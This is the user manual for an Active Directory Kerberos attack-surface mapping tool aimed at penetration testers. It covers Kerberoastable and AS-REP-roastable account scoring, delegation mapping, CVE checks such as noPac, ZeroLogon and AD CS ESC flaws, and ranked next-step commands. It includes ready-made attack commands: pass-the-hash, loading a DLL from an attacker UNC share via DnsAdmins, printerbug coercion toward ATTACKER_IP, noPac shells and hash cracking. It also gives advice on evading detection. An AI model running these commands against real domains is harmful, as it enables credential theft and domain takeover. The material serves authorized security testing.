KERB-MAP

Kerberos Attack Surface Mapper

User Manual & Technical Reference

Version 1.0

AD Enumeration · Kerberoast Scoring · Delegation Mapping
CVE Detection · Priority Ranking · BloodHound Export

For use in authorized penetration testing and red team engagements only.

Table of Contents

Table of Contents 2
1. Introduction 4
  1.1 What kerb-map Does 4
  1.2 Philosophy 4
  1.3 Prerequisites 4
2. Quick Start 6
  2.1 Basic Scan — Password Authentication 6
  2.2 Pass-the-Hash 6
  2.3 Kerberos Ticket (ccache) 6
  2.4 Full Scan With CVEs and JSON Export 6
3. Authentication 7
  3.1 Plaintext Password (-p) 7
  3.2 Pass-the-Hash (-H) 7
  3.3 Kerberos ccache (-k) 7
4. Module Reference 8
  4.1 SPN Scanner (--spn) 8
    How it works 8
    Scoring Algorithm 8
    Output 8
  4.2 AS-REP Scanner (--asrep) 9
    LDAP Filter 9
    Scoring 9
  4.3 Delegation Mapper (--delegation) 9
    4.3.1 Unconstrained Delegation 9
    4.3.2 Constrained Delegation 9
    4.3.3 Resource-Based Constrained Delegation (RBCD) 10
  4.4 User Enumerator (--users) 10
    DnsAdmins — Why It Matters 10
5. CVE Detection Modules (--cves) 11
  5.1 noPac — CVE-2021-42278 / CVE-2021-42287 11
  5.2 AD CS Misconfigurations — ESC1 through ESC8 11
  5.3 ZeroLogon — CVE-2020-1472 [Aggressive] 12
  5.4 PrintNightmare — CVE-2021-1675 / CVE-2021-34527 [Aggressive] 12
  5.5 PetitPotam — CVE-2021-36942 [Aggressive] 13

5.6 MS14-068 — CVE-2014-6324 [PAC Forgery] 13
6. Scoring & Priority Engine 14
6.1 How Findings Are Ranked 14
6.2 Next Step Generation 14
7. Output & Export 15
7.1 Terminal Output 15
7.2 JSON Export (-o json) 15
7.3 BloodHound Export (-o bloodhound) 15
7.4 Scan History Database 15
8. Complete Flag Reference 17
8.1 Target & Authentication 17
8.2 Module Selection 17
8.3 Output 17
8.4 Tuning 18
8.5 Scan History 18
9. Detection Profile 19
9.1 Noise Level by Module 19
9.2 Staying Quiet 19
9.3 The RC4 Problem 19
10. Typical Engagement Workflow 21
Step 1 — Initial Foothold 21
Step 2 — Review the Priority Table 21
Step 3 — Execute Against Top Targets 21
Step 4 — Re-run With Elevated Creds 21
Step 5 — Use the JSON Report 21
11. Project Structure 22
12. Extending kerb-map 23
12.1 Adding a New CVE Module 23
12.2 Adding a New Enumeration Module 23
12.3 Customising the Scorer 23
13. Legal Disclaimer 24

1. Introduction

kerb-map is an Active Directory enumeration and attack surface mapping tool written in Python. It is designed for use by penetration testers and red team operators during authorized engagements against Windows domain environments.

Unlike running a collection of impacket scripts manually, kerb-map consolidates every Kerberos-related attack surface into a single authenticated scan and produces a ranked, prioritised hit list telling you exactly where to start and what command to run next.

1.1 What kerb-map Does

In a single authenticated LDAP session, kerb-map:

- Discovers every Kerberoastable account (SPN holders) and scores each by crackability
- Finds every AS-REP Roastable account (pre-authentication disabled)
- Maps all three Kerberos delegation types: Unconstrained, Constrained, and RBCD
- Enumerates privileged users, stale accounts, password policy risks, DnsAdmins, domain trusts, and LAPS status
- Detects known CVEs and misconfigurations: ZeroLogon, noPac, PrintNightmare, PetitPotam, AD CS ESC1-ESC8, MS14-068
- Cross-correlates all findings into a unified, priority-ranked attack path list
- Exports results as JSON or BloodHound-compatible format
- Stores every scan in a local SQLite cache for historical comparison

1.2 Philosophy

kerb-map is built around three principles:

1. Safe by default — all LDAP queries are read-only. RPC-based CVE probes that generate Windows events are gated behind an explicit --aggressive flag.
2. Tell me what to do next — every finding includes the exact next command to run, so there is no gap between enumeration and exploitation.
3. Don't rebuild what exists — the tool orchestrates impacket, ldap3, and existing protocol libraries rather than reimplementing them. It adds scoring, correlation, and workflow on top.

1.3 Prerequisites

Requirement	Notes
`Python 3.10+`	Tested on 3.10, 3.11, 3.12
`ldap3`	LDAP connection and queries
`impacket`	Kerberos, RPC, NTLM protocol support

`rich`	Terminal output and tables
`Network access`	TCP 389 (LDAP) to DC. TCP 135 + named pipes for --aggressive RPC checks
`Domain account`	Any valid domain user. Higher-privileged accounts may reveal more data.

Install all dependencies with:

```
pip install -r requirements.txt
```

2. Quick Start

2.1 Basic Scan — Password Authentication

The minimum required arguments are the target domain, DC IP, username, and one authentication method. This runs all modules except the aggressive RPC-based CVE probes:

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith -p Password123
```

2.2 Pass-the-Hash

Supply an NTLM hash instead of a plaintext password. Accepts either the full LM:NT format or the NT hash alone (the LM half is automatically padded):

```
# Full LM:NT
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith \
    -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# NT hash only (LM auto-padded)
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith \
    -H 31d6cfe0d16ae931b73c59d7e0c089c0
```

2.3 Kerberos Ticket (ccache)

Use a previously obtained Kerberos TGT. Point KRB5CCNAME at your ccache file before running:

```
export KRB5CCNAME=/tmp/jsmith.ccache
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith -k
```

This is the natural workflow after performing a Pass-the-Ticket attack using getST.py or ticketer.py from impacket.

2.4 Full Scan With CVEs and JSON Export

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith -p Password123 \
    --all --cves --aggressive -o json
```

WARNING	The --aggressive flag enables RPC-based CVE probes that generate Windows Event IDs 5145 (named pipe access) and Netlogon events on the DC. Only use this flag when your scope explicitly allows noisy testing.

3. Authentication

kerb-map supports three authentication methods, all of which are handled transparently through a single LDAP connection object. Once the connection is established, every module reuses it without re-authenticating.

3.1 Plaintext Password (-p)

Authenticates via NTLM with a plaintext password. The credentials are never written to disk by kerb-map itself.

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith -p Summer2024!
```

3.2 Pass-the-Hash (-H)

Uses the NTLM hash directly, bypassing the need for a plaintext password. This is the standard method when you have obtained hashes from a secretsdump or LSASS dump.

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith \
    -H 31d6cfe0d16ae931b73c59d7e0c089c0
```

The tool accepts either NT-only (32 hex chars) or the full LM:NT format. If only NT is provided, the LM half is automatically padded with the empty LM hash (aad3b435b51404eeaad3b435b51404ee).

3.3 Kerberos ccache (-k)

Uses a Kerberos ticket cache file. The KRB5CCNAME environment variable must be set to the path of a valid ccache file before running the tool.

```
# Obtain a ticket with impacket first
getTGT.py corp.local/jsmith:Password123

# Or steal a ticket and convert it
export KRB5CCNAME=/tmp/Administrator.ccache
python kerb-map.py -d corp.local -dc dc01.corp.local -u Administrator -k
```

4. Module Reference

kerb-map is built around independent modules that each perform a specific enumeration task. All modules share a single authenticated LDAP connection and perform only read-only queries unless noted otherwise.

4.1 SPN Scanner (--spn)

The SPN scanner identifies every non-computer, non-disabled domain account that has a servicePrincipalName attribute set. These accounts are Kerberoastable: any authenticated domain user can request a Kerberos TGS ticket for them and attempt to crack the ticket offline without touching the account directly.

How it works

The scanner performs a single LDAP query using the filter:

```
(&(servicePrincipalName=*)(!(objectClass=computer))(!(cn=krbtgt))
  (!(userAccountControl:1.2.840.113556.1.4.803:=2)))
```

It then pulls the following attributes for each match: sAMAccountName, servicePrincipalName, pwdLastSet, lastLogonTimestamp, msDS-SupportedEncryptionTypes, memberOf, userAccountControl, adminCount, and description.

Scoring Algorithm

Each Kerberoastable account receives a crack score from 0 to 100 based on these weighted factors:

Factor	Condition	Points	Why
Encryption type	RC4 allowed (enc=0 or bit 2 set)	+40	RC4 hashes crack ~10x faster than AES in hashcat
Encryption type	AES only, enc type unknown	+20	Slower but still crackable
Password age	Never set	+15	Likely default or forgotten
Password age	Older than 2 years	+25	High chance of weak/guessable password
Password age	Older than 1 year	+15	Increased likelihood
Admin membership	adminCount=1 or in admin group	+20	Cracking gives immediate privilege
Service type	MSSQLSvc, WSMAN, exchangeMDB	+15-35	High-value service accounts
Logon history	Never logged in	+10	May be unmaintained service account

Output

Results are sorted by crack score descending. The highest-priority targets are displayed first in the Priority Targets table with the exact GetUserSPNs.py command pre-filled.

4.2 AS-REP Scanner (--asrep)

Finds all enabled domain accounts with the DONT_REQ_PREAUTH flag set in userAccountControl. These accounts do not require Kerberos pre-authentication, meaning any unauthenticated attacker can request an AS-REP blob for them and crack it offline. No credentials are required to perform the actual Kerberoast.

LDAP Filter

```
(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)
  (!(userAccountControl:1.2.840.113556.1.4.803:=2)))
```

Scoring

AS-REP Roastable accounts receive a flat priority score of 75. Accounts that are also members of admin groups receive a score of 90, since cracking the hash yields immediate elevated access.

4.3 Delegation Mapper (--delegation)

Maps all three Kerberos delegation types across the domain. Delegation misconfigurations are among the most commonly exploitable findings in mature AD environments.

4.3.1 Unconstrained Delegation

Any account or computer with the TRUSTED_FOR_DELEGATION flag (bit 0x80000 in userAccountControl) caches the TGT of every user who authenticates to it. If an attacker compromises such a host, they can extract all cached TGTs and use them to impersonate those users anywhere in the domain.

Detection filter (Domain Controllers are excluded as they legitimately have this flag):

```
(&(userAccountControl:1.2.840.113556.1.4.803:=524288)
  (!(primaryGroupID=516))(!(primaryGroupID=521)))
```

Risk: CRITICAL. This is the most powerful delegation type. The typical attack pairs this with printerbug or PetitPotam to coerce the DC to authenticate to the compromised host, then extracts the DC's TGT for a DCSync.

4.3.2 Constrained Delegation

Accounts with the msDS-AllowedToDelegateTo attribute can only delegate to a specific list of SPNs. The scanner additionally checks for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (Protocol Transition / S4U2Self), which allows the account to request a Service Ticket on behalf of any user without that user actually authenticating first.

Risk: HIGH if protocol transition is enabled, MEDIUM otherwise.

4.3.3 Resource-Based Constrained Delegation (RBCD)

RBCD is configured on the target object itself via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If an attacker has GenericWrite or WriteDACL over a computer object, they can write this attribute, add a machine account they control, and obtain a Service Ticket impersonating any domain user to that computer.

4.4 User Enumerator (--users)

Performs broad passive enumeration of users, policies, and domain configuration. All queries are read-only LDAP. Findings feed directly into the scorer to identify password spray opportunities, trust abuse paths, and DnsAdmins escalation routes.

Check	Method	Risk	Notes
Privileged users	adminCount=1	HIGH	Includes shadow admins — adminCount never auto-removes
Stale accounts	lastLogonTimestamp threshold	MEDIUM	Accounts inactive since ~2020
Password policy	domainDNS attributes	VARIES	Flags no lockout, weak length, reversible enc
Domain trusts	trustedDomain objectClass	HIGH	Flags SID filtering disabled
DnsAdmins	Group membership query	HIGH	DLL injection into DNS service = SYSTEM on DC
LAPS status	ms-Mcs-AdmPwd presence	HIGH	No LAPS = shared local admin password
GPO links	groupPolicyContainer enumeration	INFO	Useful for manual review

DnsAdmins — Why It Matters

Members of the DnsAdmins group can use dnscmd to configure the DNS service to load an arbitrary DLL from a UNC path. Since the DNS service runs as SYSTEM on Domain Controllers, this is a trivial privilege escalation from DnsAdmins to SYSTEM on any DC.

```
dnscmd <DC_NAME> /config /serverlevelplugindll \\<ATTACKER_IP>\share\evil.dll
sc.exe \\<DC_NAME> stop dns
sc.exe \\<DC_NAME> start dns
```

5. CVE Detection Modules (--cves)

The CVE scanner runs a set of checks against known critical vulnerabilities and AD misconfigurations. Checks are divided into safe (LDAP-only, no event log noise) and aggressive (RPC probes that generate Windows events).

Module	CVE / Finding	Method	Aggressive?
nopac.py	CVE-2021-42278/42287	LDAP — MachineAccountQuota + schema version	No
adcs.py	ESC1, ESC2, ESC3, ESC4, ESC8	LDAP — certificate template attributes	No
ms14_068.py	CVE-2014-6324 (PAC Forgery)	LDAP — domain functional level	No
zerologon.py	CVE-2020-1472	Netlogon RPC probe	Yes
printnightmare.py	CVE-2021-1675 / CVE-2021-34527	RPC bind to \pipe\spoolss	Yes
petitpotam.py	CVE-2021-36942	RPC bind to LSARPC / EFSRPC	Yes

5.1 noPac — CVE-2021-42278 / CVE-2021-42287

Checks whether the domain is vulnerable to sAMAccountName spoofing. The attack requires two conditions:

- ms-DS-MachineAccountQuota is greater than 0 (any domain user can create machine accounts)
- The domain has not applied KB5008380 / KB5008102 (November 2021 patches)

Detection is entirely passive — the tool reads two LDAP attributes and compares the domain schema version against the patched baseline (version 88 or higher).

If vulnerable, any low-privileged domain user can rename a machine account to match a DC name, request a TGT, rename it back, and obtain a service ticket with Domain Admin privileges embedded in the PAC.

```
# Next step if vulnerable:
python noPac.py corp.local/lowpriv:Password -dc-ip 192.168.1.10 -shell
```

5.2 AD CS Misconfigurations — ESC1 through ESC8

Active Directory Certificate Services misconfigurations are one of the highest-value findings in modern engagements. The AD CS module performs a passive LDAP audit of all certificate templates and certificate authorities.

Finding	Description
`ESC1`	Template has ENROLLEE_SUPPLIES_SUBJECT flag enabled AND a Client Authentication or Smart Card Logon

	EKU. Any enrollee can request a certificate for any user, including Domain Admins, by supplying a custom Subject Alternative Name.
`ESC2`	Template has the Any Purpose EKU (OID 2.5.29.37.0) or no EKU restrictions at all. The resulting certificate can be used for any purpose including authentication.
`ESC3`	Template has the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) with no issuance policy requirement. Allows enrolling certificates on behalf of other users.
`ESC4`	Template ACLs grant write access to low-privileged accounts, allowing an attacker to modify the template to introduce ESC1 or ESC2 conditions.
`ESC8`	Manual check item — flags each CA for verification of the EDITF_ATTRIBUTESUBJECTALTNAME2 flag and EPA configuration on HTTP enrollment endpoints.

For a full AD CS audit with exploitation paths, certipy is the recommended follow-up tool:

```
certipy find -u jsmith@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable
```

5.3 ZeroLogon — CVE-2020-1472 [Aggressive]

Netlogon elevation of privilege. An unauthenticated attacker within network reach of a DC can set the DC machine account password to an empty string, authenticate as the DC, and run a DCSync to dump all domain hashes. Requires no credentials.

Detection uses a two-layer approach:

- Layer 1 (safe): Checks domain functional level as an indicator of patch status
- Layer 2 (aggressive): Sends a malformed NetrServerAuthenticate3 request with a zeroed credential. A patched DC returns an error immediately; an unpatched DC may accept it.

NOTE	The RPC probe in kerb-map is non-destructive. It does NOT set the machine account password. It only tests whether the DC accepts the zeroed credential in the ServerAuthenticate3 handshake.

5.4 PrintNightmare — CVE-2021-1675 / CVE-2021-34527 [Aggressive]

The Print Spooler service running on a Domain Controller allows any authenticated user to coerce the DC to authenticate to an attacker-controlled machine via the MS-RPRN RPC interface. This forced authentication can be relayed to obtain a TGT for the DC machine account or relayed to AD CS for a domain compromise certificate.

Detection: The module attempts to bind to the \pipe\spoolss named pipe over SMB. If the bind succeeds, the spooler is running and the DC is vulnerable.

Remediation: Disable the Print Spooler service on all Domain Controllers. No DC should ever have a print spooler running.

```
# On the DC:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
```

5.5 PetitPotam — CVE-2021-36942 [Aggressive]

The EFS (Encrypting File System) RPC interface can be abused by any unauthenticated attacker to coerce a DC to authenticate to an arbitrary host via NTLM or Kerberos. When AD CS with HTTP enrollment is present in the environment, this creates a full domain compromise path without any credentials.

Remediation: Apply KB5005413. Enable Extended Protection for Authentication (EPA) on AD CS IIS endpoints. Enable LDAP signing and channel binding on all DCs.

5.6 MS14-068 — CVE-2014-6324 [PAC Forgery]

Affects unpatched Windows Server 2008/2012 domain controllers. Allows any authenticated domain user to forge a PAC (Privilege Attribute Certificate) claiming Domain Admin group membership, then submit it to obtain a golden-ticket equivalent TGT. Detection is based on domain functional level as an indicator only.

6. Scoring & Priority Engine

The scorer is the most operationally valuable component of kerb-map. After all modules complete, it cross-correlates every finding into a single unified list ranked by exploitation priority.

6.1 How Findings Are Ranked

Each finding type is assigned a base priority score, then adjusted based on contextual factors:

Finding Type	Base Score	Adjustments	Severity
CVE — CRITICAL severity	98	None	CRITICAL
Unconstrained Delegation	95	None — always critical	CRITICAL
CVE — HIGH severity	85	None	HIGH
Password spray (no lockout)	85	None	CRITICAL
DnsAdmins member	88	None	HIGH
AS-REP Roast + admin	90	+15 for admin group membership	CRITICAL
AS-REP Roast (standard)	75	Base score	HIGH
Constrained Deleg S4U2Self	80	Only if protocol transition enabled	HIGH
SPN Kerberoast	0-100	Calculated by scoring algorithm (Sec 4.1)	Varies
RBCD	70	None	HIGH
Trust abuse	75	Only SID filtering disabled trusts	HIGH

6.2 Next Step Generation

Every entry in the priority list includes a pre-filled command to execute the attack. The tool substitutes in the discovered account names and domain information so the output is immediately usable:

```
# Example output for a Kerberoastable account:
GetUserSPNs.py corp.local/jsmith:Password123 -request-user svc_sql -outputfile
svc_sql.hash


# Example output for noPac:
python noPac.py corp.local/lowpriv:Password -dc-ip 192.168.1.10 -shell


# Example output for unconstrained delegation:
python printerbug.py corp.local/jsmith:pass@WEBSERVER01.corp.local <ATTACKER_IP>
```

7. Output & Export

7.1 Terminal Output

kerb-map uses the Rich library to produce structured, colour-coded terminal output. Each module's results are displayed in their own section, followed by the cross-correlated priority target table and a summary footer that identifies the single best first move.

Output sections:

- Domain Overview — functional level, password policy snapshot, MachineAccountQuota
- Kerberoastable Accounts — account table with crack score, encryption type, and password age
- AS-REP Roastable Accounts — accounts with pre-auth disabled
- Kerberos Delegation — unconstrained hosts, constrained accounts, RBCD targets
- Domain User Analysis — privileged users, stale accounts, DnsAdmins, LAPS, trusts
- CVE / Misconfiguration Checks — per-CVE results with vulnerable/not-vulnerable status
- Priority Attack Paths — unified ranked list with next-step commands
- Scan Summary — counts, recommended first move

7.2 JSON Export (-o json)

Writes the complete scan results as a structured JSON file. The file contains every field from every module including raw evidence, full account lists, CVE details, and the complete ranked target list.

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u jsmith -p pass -o json
# Outputs: kerb-map_corp.local_20240115_143022.json

# Custom filename:
python kerb-map.py ... -o json --outfile engagement_day1.json
```

7.3 BloodHound Export (-o bloodhound)

Writes a BloodHound-compatible JSON file containing custom nodes for Kerberoastable and AS-REP Roastable accounts with the hasspn and dontreqpreauth properties set. This file can be imported directly into BloodHound for visual path analysis.

7.4 Scan History Database

Every scan is automatically saved to a local SQLite database at ~/.kerb-map/results.db. This allows you to:

- Compare findings across multiple scans of the same domain over an engagement
- Replay findings without re-scanning the domain
- Track when new attack surface appears (new SPNs, new CVE conditions)

```
# List all stored scans
python kerb-map.py --list-scans


# Example output:
  ID   3  corp.local         DC: 192.168.1.10   Operator: jsmith   2024-01-
15T14:30:22
  ID   2  corp.local         DC: 192.168.1.10   Operator: jsmith   2024-01-
14T09:15:11


# Replay findings from scan #3
python kerb-map.py --show-scan 3
```

Use --no-cache to skip saving a scan to the database.

8. Complete Flag Reference

8.1 Target & Authentication

Flag	Description
`-d / --domain`	Target domain name (e.g. corp.local)
`-dc / --dc-ip`	Domain controller IP address
`-u / --username`	Domain username
`-p / --password`	Plaintext password
`-H / --hash`	NTLM hash. Accepts LM:NT or NT only
`-k / --kerberos`	Use Kerberos ccache ticket. Set KRB5CCNAME first.

8.2 Module Selection

Flag	Description
`--all`	Run all modules. This is the default if no specific module flags are given.
`--spn`	Run SPN scanner (Kerberoastable accounts)
`--asrep`	Run AS-REP scanner (pre-auth disabled)
`--delegation`	Run delegation mapper (all three types)
`--users`	Run user enumerator (policy, trusts, DnsAdmins, LAPS)
`--cves`	Run CVE / misconfiguration checks
`--aggressive`	Enable RPC-based CVE probes (ZeroLogon, PrintNightmare, PetitPotam). Generates Windows events.

8.3 Output

Flag	Description
`-o json`	Write full results to JSON file
`-o bloodhound`	Write BloodHound-compatible JSON
`--outfile`	Override the default output filename
`--top N`	Show top N entries in priority table (default: 15)
`--no-cache`	Do not save results to local SQLite database

8.4 Tuning

Flag	Description
`--stealth`	Add random 0.8-3.0s jitter between LDAP queries. Slower but less likely to trigger volume-based detection.
`--timeout N`	LDAP connection timeout in seconds (default: 10)

8.5 Scan History

Flag	Description
`--list-scans`	List all scans stored in local cache. No network connection required.
`--show-scan ID`	Display findings from a previous scan by its ID number.

9. Detection Profile

Understanding what noise kerb-map generates is essential for deciding how to operate. All detection information below assumes a well-monitored environment with a SIEM ingesting DC event logs and Microsoft Defender for Identity (MDI) deployed.

9.1 Noise Level by Module

Module	Noise Level	Windows Events	MDI Detection
LDAP queries (all --safe CVEs, delegation, users)	LOW	1644 only if LDAP diag logging enabled	No
SPN scan (no ticket request)	LOW	None by default	No
AS-REP scan	LOW	None by default	No
AD CS template audit	LOW	None by default	No
Kerberoasting with AES tickets	MEDIUM	4769 per ticket request	Possible
Kerberoasting with RC4 tickets	HIGH	4769 (enc type 0x17 = red flag)	Yes
ZeroLogon RPC probe	MEDIUM-HIGH	5827 / 5828 on patched DCs	Yes
PrintNightmare pipe probe	HIGH	5145 (named pipe access)	Yes
PetitPotam EFS probe	HIGH	5145	Yes

9.2 Staying Quiet

To minimise detection risk:

- Use --stealth mode to add LDAP query jitter
- Do not use --aggressive unless your scope explicitly permits noisy testing
- If Kerberoasting, request AES tickets rather than forcing RC4 — RC4 requests from modern clients are an immediate red flag to MDI
- Run during business hours when LDAP traffic baseline is high
- Use a domain-joined host for LDAP queries rather than a non-domain-joined attacker machine if possible

9.3 The RC4 Problem

When Kerberoasting, the default behaviour of GetUserSPNs.py is to request RC4-encrypted tickets because they crack faster in hashcat. However, RC4 requests from accounts that have AES keys available are flagged by MDI and any SIEM monitoring Event ID 4769 with TicketEncryptionType 0x17.

kerb-map flags which accounts support RC4 in the output. For a quieter engagement, request AES tickets and accept the slower cracking time:

```
GetUserSPNs.py corp.local/jsmith:pass -request-user svc_sql -enc-type aes256 -
outputfile svc_sql.hash
```

10. Typical Engagement Workflow

Below is a representative workflow showing how kerb-map fits into the post-initial-access phase of an AD engagement.

Step 1 — Initial Foothold

You have obtained initial credentials through phishing, password spraying, or a service exploit. Run kerb-map immediately to understand the attack surface:

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u helpdesk01 -p Welcome2024!
```

Step 2 — Review the Priority Table

kerb-map tells you what to hit first. Example output might show:

- Rank 1: svc_sql — Kerberoast — Score 85 — RC4 allowed | password 847d old
- Rank 2: WEBSERVER01$ — Unconstrained Delegation — Score 95
- Rank 3: CVE-2021-42278/42287 (noPac) — MachineAccountQuota=10

Step 3 — Execute Against Top Targets

Follow the pre-filled next-step commands from the output:

```
# Kerberoast svc_sql
GetUserSPNs.py corp.local/helpdesk01:Welcome2024! -request-user svc_sql -outputfile
svc_sql.hash


# Crack the hash
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
```

Step 4 — Re-run With Elevated Creds

Once you crack svc_sql, re-run kerb-map with the new credentials to expand the view:

```
python kerb-map.py -d corp.local -dc 192.168.1.10 -u svc_sql -p CrackedPass! --cves
-o json
```

Step 5 — Use the JSON Report

The JSON output can be parsed by other tools or fed into your reporting workflow. Every CVE result includes the cve_id, severity, vulnerable flag, reason, evidence dict, remediation text, and next_step command.

11. Project Structure

```
kerb-map/
├── kerb-map.py                  # CLI entry point
├── requirements.txt
└── kerb_map/
    ├── auth/
    │   └── ldap_client.py           # LDAP auth & query layer
    ├── modules/
    │   ├── spn_scanner.py           # Kerberoastable accounts
    │   ├── asrep_scanner.py         # AS-REP Roastable accounts
    │   ├── delegation_mapper.py     # All three delegation types
    │   ├── user_enumerator.py       # Users, policy, trusts, LAPS
    │   ├── scorer.py                # Cross-correlation & ranking
    │   ├── cve_scanner.py           # CVE orchestrator
    │   └── cves/
    │       ├── cve_base.py            # Abstract base + CVEResult
    │       ├── zerologon.py           # CVE-2020-1472
    │       ├── nopac.py               # CVE-2021-42278/42287
    │       ├── printnightmare.py      # CVE-2021-1675/34527 + PetitPotam
    │       ├── adcs.py                # ESC1-ESC8
    │       └── ms14_068.py            # CVE-2014-6324
    ├── output/
    │   ├── logger.py                # Rich-powered logging
    │   ├── reporter.py              # Terminal tables & summary
    │   └── exporter.py              # JSON + BloodHound export
    └── db/
        └── cache.py                 # SQLite scan history
```

12. Extending kerb-map

12.1 Adding a New CVE Module

All CVE modules inherit from CVEBase and return a CVEResult dataclass. Adding a new CVE check requires three steps:

4. Create a new file in kerb_map/modules/cves/
5. Inherit from CVEBase, implement the check() method, return a CVEResult
6. Import and add to either _safe or _loud list in cve_scanner.py

Minimal example:

```
from kerb_map.modules.cves.cve_base import CVEBase, CVEResult, Severity

class MyCVE(CVEBase):
    CVE_ID = 'CVE-XXXX-XXXX'
    NAME   = 'My CVE Name'

    def check(self) -> CVEResult:
        vulnerable = self._my_detection_logic()
        return CVEResult(
            cve_id=self.CVE_ID, name=self.NAME,
            severity=Severity.HIGH, vulnerable=vulnerable,
            reason='Found because...',
            evidence={'key': 'value'},
            remediation='Apply patch XYZ.',
            next_step='exploit_cmd.py ...' if vulnerable else '',
        )
```

12.2 Adding a New Enumeration Module

Create a new .py file in kerb_map/modules/. The module receives an LDAPClient instance and should expose a single primary method (e.g. scan() or enumerate()) that returns a list or dict. Import it in kerb-map.py and plug it into the scan flow and the scorer.

12.3 Customising the Scorer

The scorer in kerb_map/modules/scorer.py is straightforward to extend. Each finding type is a dictionary appended to the targets list with keys: target, attack, priority (0-100), severity, reason, next_step, category. Add additional finding types by inserting a new block in the rank() method.

13. Legal Disclaimer

IMPORTANT	kerb-map is designed exclusively for use in authorized security assessments, penetration testing engagements, and red team operations where written permission has been obtained from the system owner.

Use of this tool against systems for which you do not have explicit written authorisation is illegal under the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent legislation in most jurisdictions worldwide.

The author assumes no liability for misuse of this tool. It is your responsibility to obtain proper authorisation before running any scan. Always operate within the defined scope of your engagement.

kerb-map does not exploit vulnerabilities — it detects them. The CVE check modules perform non-destructive detection probes only. The one exception is the ZeroLogon probe, which sends a crafted but non-exploiting Netlogon request; this too performs no modification to the target system.

kerb-map v1.0 — Kerberos Attack Surface Mapper

Built for authorized penetration testers and red team operators.